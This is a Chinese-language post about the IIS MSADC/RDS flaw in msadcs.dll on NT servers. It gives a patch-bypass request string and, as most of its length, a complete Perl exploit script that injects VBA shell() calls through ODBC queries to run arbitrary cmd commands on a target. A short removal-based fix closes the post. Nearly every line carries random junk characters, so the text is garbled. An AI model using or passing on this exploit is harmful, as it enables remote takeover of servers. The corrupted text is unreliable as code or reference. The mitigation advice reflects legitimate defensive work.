IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
I m<( eR *y<K(d 涉及程序：
c$AwJhl^] Microsoft NT server
VY]L<4BfGL 4b<>gpQ 描述：
D5gDVulsh
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'BmLR{[2L nQ}$jOU & 详细：
NU{ ` eM 如果你没有时间读详细内容的话，就删除:
Mlm dfO%Y c:\Program Files\Common Files\System\Msadc\msadcs.dll
A$;"9F@ 有关的安全问题就没有了。
LktH*ePO } <KQ + 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%SJ2W >e KVA~|j B 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Y24H`
s1u/ 关于利用ODBC远程漏洞的描述，请参看:
D g~L" Ka| ,
qkb http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ro`2IE> w/UZ6fu 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
1Bhd - http://www.microsoft.com/security/bulletins/MS99-025faq.asp #yi&-9B o b,%); m 这里不再论述。
w_hN2eYo&e _ oBJ'8R\ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
OD~B2MpM> 9#iv|X /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
p81Vt 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
.lE7v -e NPY\ >pf SoPiEq #将下面这段保存为txt文件，然后: "perl -x 文件名"
wM
aqR"% m. EIMuj #!perl
,UE>@;] #
6X`i*T$. # MSADC/RDS 'usage' (aka exploit) script
r< ~pSj #
' En |-M5 # by rain.forest.puppy
Q -7C'| #
(#?k|e"Y"` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
f9FEH7S68 # beta test and find errors!
j$ h>CZ Z } X?M6;$) use Socket; use Getopt::Std;
|b^+ =
" getopts("e:vd:h:XR", \%args);
7ea<2va, W _JGJV.^f print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
) u
Sg;B4 TcEvUZJ" if (!defined $args{h} && !defined $args{R}) {
9qcA+gz:| print qq~
14Y<-OO:
k Usage: msadc.pl -h <host> { -d <delay> -X -v }
%TUvH> ;0 -h <host> = host you want to scan (ip or domain)
n4%ZR~9WH -d <seconds> = delay between calls, default 1 second
l+HF+v $ -X = dump Index Server path table, if available
.,+TpP kc -v = verbose
Y5,[udF:O -e = external dictionary file for step 5
Z(c3GmY ^T&@(|o Or a -R will resume a command session
{@YY8SKb9 2/F" ;tc\' ~; exit;}
B3C%**~:e SR8)4:aKW $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vnr{Ekg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F)n^pT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
vmsrypm if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
lC8Z@wkjO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
OAw- -rl if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
eg Xbe)ld d.3cd40Q if (!defined $args{R}){ $ret = &has_msadc;
$s.:H4:I die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
" \`>Ll ,$A'Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!!:mjq<0 . "cmd /c ";
HzQ Y\Y6 $in=<STDIN>; chomp $in;
}N,$4h9D j $command="cmd /c " . $in ;
$~c
wB <N'v-9=2jl if (defined $args{R}) {&load; exit;}
CFTw=b@ A }3dx!?7j print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
fPBJ%SZ &try_btcustmr;
,7h0y -~] q?k? print "\nStep 2: Trying to make our own DSN...";
h
]6: `5- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%iR"eEE m- u0U print "\nStep 3: Trying known DSNs...";
+=M N_ &known_dsn;
J:Id t}@z Q5 xQ5Le print "\nStep 4: Trying known .mdbs...";
E*AI}:or; &known_mdb;
NpLZ
, |H 'zhv#&O if (defined $args{e}){
Ygq;jX print "\nStep 5: Trying dictionary of DSN names...";
B&L-Lc2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
=JNCQu 9T#${NK print "Sorry Charley...maybe next time?\n";
U[EZ, 7n8 exit;
W+Q^u7K g^:
& Dh ##############################################################################
l=PZlH
y1G [nASMKK0 sub sendraw { # ripped and modded from whisker
6^ e}^~| sleep($delay); # it's a DoS on the server! At least on mine...
J!\oH%FJp my ($pstr)=@_;
x/dyb. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z_8lf_N die("Socket problems\n");
^D8~s; ? if(connect(S,pack "SnA4x8",2,80,$target)){
5=_bK^Am select(S); $|=1;
/b7]NC% print $pstr; my @in=<S>;
cDIZkni= select(STDOUT); close(S);
`?G&w.Vs return @in;
)uu(I5St } else { die("Can't connect...\n"); }}
t>! Ok H <9_B A ? ##############################################################################
|=js!R| w ZfY~ sub make_header { # make the HTTP request
fSVb.MZa7 my $msadc=<<EOT
fE"- W{M POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Y'<wE2ZL) User-Agent: ACTIVEDATA
=m;,?("7t3 Host: $ip
G=/^]E Content-Length: $clen
^r~O* Connection: Keep-Alive
goe %'k, -}u1ZEND ADCClientVersion:01.06
(q@%eor&} Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
mw&'@M_(7 h~lps?.#b --!ADM!ROX!YOUR!WORLD!
6UI6E) g Content-Type: application/x-varg
n^|SN9 _r Content-Length: $reqlen
y$+=>p|d.^ SQ&}18Z~ EOT
,rV;T";r ; $msadc=~s/\n/\r\n/g;
OS-k_l L return $msadc;}
nC(Lr,( (&SPMhs_|( ##############################################################################
dVg'v7G&V( zZ,"HY=jN sub make_req { # make the RDS request
R^B8** N my ($switch, $p1, $p2)=@_;
w75Ro6y my $req=""; my $t1, $t2, $query, $dsn;
Id1de >:; >0_{80bd O if ($switch==1){ # this is the btcustmr.mdb query
z\"9T?zoo $query="Select * from Customers where City=" . make_shell();
`A 9fanh $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
n-g#nE c: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g&{CEfw& Zv2]X- elsif ($switch==2){ # this is general make table query
AZf69z $query="create table AZZ (B int, C varchar(10))";
2}XxRJ0
$dsn="$p1";}
T" t.t%(8 Y9I|s{~ elsif ($switch==3){ # this is general exploit table query
EeH ghq $query="select * from AZZ where C=" . make_shell();
l$[,V:N $dsn="$p1";}
3 9MOqVc y|=KrvMHJ elsif ($switch==4){ # attempt to hork file info from index server
m#i g.z|A $query="select path from scope()";
~^'WHuz Py $dsn="Provider=MSIDXS;";}
fda4M ayh235>a( elsif ($switch==5){ # bad query
[+8*}03 $query="select";
K:A:3~I!NW $dsn="$p1";}
1;PI%++ f|ERZN`uB $t1= make_unicode($query);
N f)SR#; $t2= make_unicode($dsn);
ej7L-~lxQ $req = "\x02\x00\x03\x00";
B`gH({U $req.= "\x08\x00" . pack ("S1", length($t1));
ZvLI~ul(zT $req.= "\x00\x00" . $t1 ;
bc:3 5. $req.= "\x08\x00" . pack ("S1", length($t2));
{6%-/$LX $req.= "\x00\x00" . $t2 ;
Q+/P>5O/ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
'MW O3 return $req;}
:Gzp
(@<@e qu^~K.I " ##############################################################################
R](cko= [:}"MdU' sub make_shell { # this makes the shell() statement
)TyP{X> return "'|shell(\"$command\")|'";}
]826k pq_ !]5V{3 ##############################################################################
g[HuIn/ hd,O/-m# sub make_unicode { # quick little function to convert to unicode
l IZ& '
z my ($in)=@_; my $out;
fdHFSnQ g for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^w&!}f+ return $out;}
Z$r7Hi fW[RC d ##############################################################################
FUZuS!sJ gX$gUB) x sub rdo_success { # checks for RDO return success (this is kludge)
,b5vnW\ my (@in) = @_; my $base=content_start(@in);
gzy|K%K if($in[$base]=~/multipart\/mixed/){
O<$j}?2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%mD{rG9 return 0;}
/{P-WRz> ?>I ##############################################################################
-1~o ~yGE KfP g j sub make_dsn { # this makes a DSN for us
i) Q
d>(v my @drives=("c","d","e","f");
rQ6>*0xL_ print "\nMaking DSN: ";
FD~
U F;VQ foreach $drive (@drives) {
8H T3C\$s print "$drive: ";
m8G/;V[x my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
3xmP Y. "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
H<;~u:; 8Q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.TDg`O24c, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
:h/v"2uDN return 0 if $2 eq "404"; # not found/doesn't exist
Z6Z/Y()4Tl if($2 eq "200") {
3OY(L` foreach $line (@results) {
yq<W+b/ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
JoZzX{eu" } return 0;}
g:!R't? vlipB} ##############################################################################
(d* | |" D~|q^Ms, % sub verify_exists {
_^ic@h3'X~ my ($page)=@_;
E1`_[ =8a9 my @results=sendraw("GET $page HTTP/1.0\n\n");
!&`\MD>;~R return $results[0];}
J, +/<Y! "` %UC# ##############################################################################
g!r) yzK DRTT3;,N sub try_btcustmr {
%$Xt1ub6( my @drives=("c","d","e","f");
GU 9p'E my @dirs=("winnt","winnt35","winnt351","win","windows");
V$oj 6i{ky rusYNb1J foreach $dir (@dirs) {
i70\`6*;B print "$dir -> "; # fun status so you can see progress
fY #Y n foreach $drive (@drives) {
ne 3t|JZ print "$drive: "; # ditto
hd[t&?{= $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Bn=YGEvz $reqlenlen=length( "$reqlen" );
}<w9Jfr"X $clen= 206 + $reqlenlen + $reqlen;
N e z '1 }w2Et my @results=sendraw(make_header() . make_req(1,$drive,$dir));
1,U)rx$H if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
G `B=:s] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V?`|Ha} u6IM~kk>5 ##############################################################################
fA[T5<66 Z:V< P,N sub odbc_error {
(v:8p!QN my (@in)=@_; my $base;
:S!!J* 0 my $base = content_start(@in);
Goy[P2m if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
UlKg2p $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'aEN(Mdz1e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{0AlQ6.@> $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$(08!U
return $in[$base+4].$in[$base+5].$in[$base+6];}
8YgRJQZ! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
U!RIeC print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
=}u?1~V $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
TIaiJvo sb1tQ=u[ ##############################################################################
0AoWw-H6V wAzaxeV= sub verbose {
&_j<! 3* my ($in)=@_;
:O?3lj) return if !$verbose;
X &G]ci print STDOUT "\n$in\n";}
P=9U K`n -~H
"zu` ##############################################################################
m6 Y0,9 9i{(GO sub save {
[D?d~pB my ($p1, $p2, $p3, $p4)=@_;
osLEH?iKW open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|<y1<O>F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
HW'I $ . close OUT;}
-yu $Mm fZJM'+J@A ##############################################################################
\8 v ZZ t I?%#`Rvu sub load {
Ys?0hd<cn my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!ZCxi
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
U_E t @p=<IN>; close(IN);
d>r ]xXB6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Eq=JmO'gHs $target= inet_aton($ip) || die("inet_aton problems");
p!<P Rms@ print "Resuming to $ip ...";
h7 m$P^=U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
|Vu`-L'Jz if($p[1]==1) {
9\kEyb$F= $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
L&]{GNw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
O@:R\MwFOZ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
CwyE 8v if (rdo_success(@results)){print "Success!\n";}
- &) else { print "failed\n"; verbose(odbc_error(@results));}}
^?A>)?Sq elsif ($p[1]==3){
4s"x}c">F if(run_query("$p[3]")){
\Il?$Kb/ print "Success!\n";} else { print "failed\n"; }}
~4] J 'E > elsif ($p[1]==4){
e<~bD F H if(run_query($drvst . "$p[3]")){
l d5+/"$ print "Success!\n"; } else { print "failed\n"; }}
X]\; f exit;}
!2/o]_K@+ }We-sZ/w7r ##############################################################################
vo~ Qo;m )2u_[Jc= sub create_table {
a\B?J my ($in)=@_;
,.;{J|4P $reqlen=length( make_req(2,$in,"") ) - 28;
5*Dh#FRp $reqlenlen=length( "$reqlen" );
i.FdZN{ $clen= 206 + $reqlenlen + $reqlen;
y"K[#&,0 my @results=sendraw(make_header() . make_req(2,$in,""));
@f,/ K1k return 1 if rdo_success(@results);
G1 I<B my $temp= odbc_error(@results); verbose($temp);
e{ ^l D.E return 1 if $temp=~/Table 'AZZ' already exists/;
zW[HGI6w return 0;}
?d k)2 7$* x&We ##############################################################################
(ti E%nF+ s>{\^T7y sub known_dsn {
A+fXt`YNM # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!?K#f?x<? my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!|mzu1S "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
X'xnJtk "banner", "banners", "ads", "ADCDemo", "ADCTest");
Q Vl"l'e8 SI=7$8T5=5 foreach $dSn (@dsns) {
Ldy(<cN print ".";
v[jg|s&6" next if (!is_access("DSN=$dSn"));
3wPUP+)c7 if(create_table("DSN=$dSn")){
>3I|5kZ6 print "$dSn successful\n";
^t `0ul]c if(run_query("DSN=$dSn")){
1>umf~%Wa print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
[LV> z print "Something's borked. Use verbose next time\n";}}} print "\n";}
Su+[Q6oC@ 8LY^>. ##############################################################################
)d{fDwrx1 [<jU$93E sub is_access {
Yq{R*HO my ($in)=@_;
V~$?]Z %_ $reqlen=length( make_req(5,$in,"") ) - 28;
UI~ hB4V$] $reqlenlen=length( "$reqlen" );
Fg R9$ is+ $clen= 206 + $reqlenlen + $reqlen;
FB3}M)G> M my @results=sendraw(make_header() . make_req(5,$in,""));
Q0g^% my $temp= odbc_error(@results);
JC/ nHM verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ih : XC return 0;}
R\x3'([A5 J M;WCV%NM ##############################################################################
*{O[} xgvwH?< sub run_query {
U@53VmrOy my ($in)=@_;
Sj v iH $reqlen=length( make_req(3,$in,"") ) - 28;
e `K{ $reqlenlen=length( "$reqlen" );
+{%)}?F $clen= 206 + $reqlenlen + $reqlen;
yMpZ-b$*~ my @results=sendraw(make_header() . make_req(3,$in,""));
\86NV="U return 1 if rdo_success(@results);
|:L}/onK my $temp= odbc_error(@results); verbose($temp);
O]oH}#5b return 0;}
N]F}Z#h EQ>@K-R ##############################################################################
+.-mqtM ]UGk"s5A sub known_mdb {
gIKQip< my @drives=("c","d","e","f","g");
3MDs?qx>s my @dirs=("winnt","winnt35","winnt351","win","windows");
HI[Pf%${ my $dir, $drive, $mdb;
WfYG#!}x my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
N%)q.'M RP k'1nD # this is sparse, because I don't know of many
B'b OK`p my @sysmdbs=( "\\catroot\\icatalog.mdb",
'*<I<? z; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
FJn.V1 "\\system32\\certmdb.mdb",
nW
oh( a "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
O-3a U!L c IPOI'3d my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
a.a
,_ "\\cfusion\\cfapps\\forums\\forums_.mdb",
;R$2+9 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
! %N@>[ "\\cfusion\\cfapps\\security\\realm_.mdb",
VL|Z+3L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
bKE iS8x "\\cfusion\\database\\cfexamples.mdb",
3`Xzp "\\cfusion\\database\\cfsnippets.mdb",
dq0! .gBT2 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+fQJ#?N2n "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
k:N/-P&+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
yI / FD "\\cfusion\\database\\smpolicy.mdb",
dk 0} q6~ "\\cfusion\\database\cypress.mdb",
S F da?> "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7;pQ'FmZJ "\\website\\cgi-win\\dbsample.mdb",
ZX'3qW^D "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
` A- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
vhDtjf/* ); #these are just
M(n@ytz foreach $drive (@drives) {
MSB /O. foreach $dir (@dirs){
p =-~qBw foreach $mdb (@sysmdbs) {
5kojh _\ print ".";
wVX2.D'n< if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}T}xVd0 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2UxmKp[ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#5iy^?N"w print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=q*c}8R_0 } else { print "Something's borked. Use verbose next time\n"; }}}}}
yet ~ yD@1H(yM foreach $drive (@drives) {
7`&6l+S| foreach $mdb (@mdbs) {
JEF ;Q print ".";
x ~K79Mya if(create_table($drv . $drive . $dir . $mdb)){
l hST%3Ld print "\n" . $drive . $dir . $mdb . " successful\n";
.hnq>R\ if(run_query($drv . $drive . $dir . $mdb)){
9_ZGb"(Lj print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
T1'\!6_5 } else { print "Something's borked. Use verbose next time\n"; }}}}
k$>5v +r0 }
RE1M4UV. L~RFI&b
##############################################################################
un KgOvtj k= &n>P sub hork_idx {
u'T-}95 V print "\nAttempting to dump Index Server tables...\n";
l=x(
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d]MpE 9@'v $reqlen=length( make_req(4,"","") ) - 28;
OL_jU2,fv $reqlenlen=length( "$reqlen" );
fK2r6D9 $clen= 206 + $reqlenlen + $reqlen;
T6."j_ my @results=sendraw2(make_header() . make_req(4,"",""));
#T@k(Bz{L if (rdo_success(@results)){
2\;/mQI 2A my $max=@results; my $c; my %d;
z;_vl for($c=19; $c<$max; $c++){
nzbAQ3v $results[$c]=~s/\x00//g;
ZT8LMPC $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
T| 0d2aa $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
f>|<5zm#< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_ {6l} $d{"$1$2"}="";}
LF#[$
so{i foreach $c (keys %d){ print "$c\n"; }
B#cN'1 c } else {print "Index server doesn't seem to be installed.\n"; }}
1g j GaC %F^,6y ##############################################################################
+cKOIMu9 (/s~L*g F{ sub dsn_dict {
be $']}cP open(IN, "<$args{e}") || die("Can't open external dictionary\n");
9A/bA|$
while(<IN>){
&I%E8E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*Lu R o next if (!is_access("DSN=$dSn"));
4C ;y2`C if(create_table("DSN=$dSn")){
9,JWi{lIv print "$dSn successful\n";
Et0)6^-v if(run_query("DSN=$dSn")){
yvnDS"0 < print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$PAAmai gi print "Something's borked. Use verbose next time\n";}}}
!Ce!D0Tx print "\n"; close(IN);}
.2s^8 g O UtQCTNjC{ ##############################################################################
zx*D )i5- hljKBx ~ sub sendraw2 { # ripped and modded from whisker
_O ;4 > sleep($delay); # it's a DoS on the server! At least on mine...
CGkx_E] my ($pstr)=@_;
B^/k `h6J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
o\; hF3 die("Socket problems\n");
U<E]c 4* if(connect(S,pack "SnA4x8",2,80,$target)){
d={o|Mf print "Connected. Getting data";
YBR)S _C$_ open(OUT,">raw.out"); my @in;
f1;@a>X
select(S); $|=1; print $pstr;
OiS\tK?|GV while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Rjv; [ close(OUT); select(STDOUT); close(S); return @in;
g-1j#V`5 } else { die("Can't connect...\n"); }}
c{KJNH%7 [J(b"c6 ##############################################################################
H8=:LF $R NHRA. sub content_start { # this will take in the server headers
WtaOf_ my (@in)=@_; my $c;
E.+%b;Eqe for ($c=1;$c<500;$c++) {
9v?@2sOoE if($in[$c] =~/^\x0d\x0a/){
!2^~ar{2 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
WuFBt=% else { return $c+1; }}}
W0Y
,3;0 return -1;} # it should never get here actually
5 jUy[w @ D$*o}*mb ##############################################################################
w7&.U qjf WglpWp) sub funky {
&%;n 9K my (@in)=@_; my $error=odbc_error(@in);
o*ucw3s> if($error=~/ADO could not find the specified provider/){
iz{TSU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
e9tb]s A G exit;}
1 ltW9^cF} if($error=~/A Handler is required/){
p>#q* eU5 print "\nServer has custom handler filters (they most likely are patched)\n";
DEt! /a{X exit;}
ByO?qft>u if($error=~/specified Handler has denied Access/){
d3S Me print "\nServer has custom handler filters (they most likely are patched)\n";
3D1y^I exit;}}
x 5V))~Ou GZKYRPg ##############################################################################
Yyr9Kj: DdU w~n, sub has_msadc {
V aG Qre my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
/&_q"y9 my $base=content_start(@results);
aM(# J7; return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
P =6d<no&< return 0;}
&43c/T Sb )tnbl"0 ########################
&[_@f# V *5v
JF0j /f Q}Ls\ 解决方案：
&q9= 0So4\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^y KkWB* 2、移除web 目录: /msadc
